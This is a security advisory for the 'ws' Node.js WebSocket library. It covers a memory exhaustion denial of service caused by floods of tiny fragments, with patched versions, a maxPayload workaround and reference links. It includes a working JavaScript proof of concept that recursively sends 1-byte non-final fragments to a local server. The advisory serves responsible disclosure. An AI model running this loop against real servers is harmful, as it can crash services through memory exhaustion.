GHSA-96hv-2xvq-fx4p
ws: Memory exhaustion DoS from tiny fragments and data chunks
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
### Proof of concept
```js
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
```
### Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
### Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.
### Credits
The vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).
References
External links from the advisory. They lead to third-party sites.
- https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
- https://nvd.nist.gov/vuln/detail/CVE-2026-48779
- https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
- https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
- https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
- https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json
- https://github.com/websockets/ws
- https://bugzilla.redhat.com/show_bug.cgi?id=2489661
- https://access.redhat.com/security/cve/CVE-2026-48779
- https://access.redhat.com/errata/RHSA-2026:37272
- https://access.redhat.com/errata/RHSA-2026:36820
- https://access.redhat.com/errata/RHSA-2026:36754
- https://access.redhat.com/errata/RHSA-2026:34342
- https://access.redhat.com/errata/RHSA-2026:33574
- https://access.redhat.com/errata/RHSA-2026:33183
- https://access.redhat.com/errata/RHSA-2026:33173
- https://access.redhat.com/errata/RHSA-2026:33163
- https://access.redhat.com/errata/RHSA-2026:33160
- https://access.redhat.com/errata/RHSA-2026:33155
- https://access.redhat.com/errata/RHSA-2026:29197
- https://access.redhat.com/errata/RHSA-2026:27171
- https://access.redhat.com/errata/RHSA-2026:26638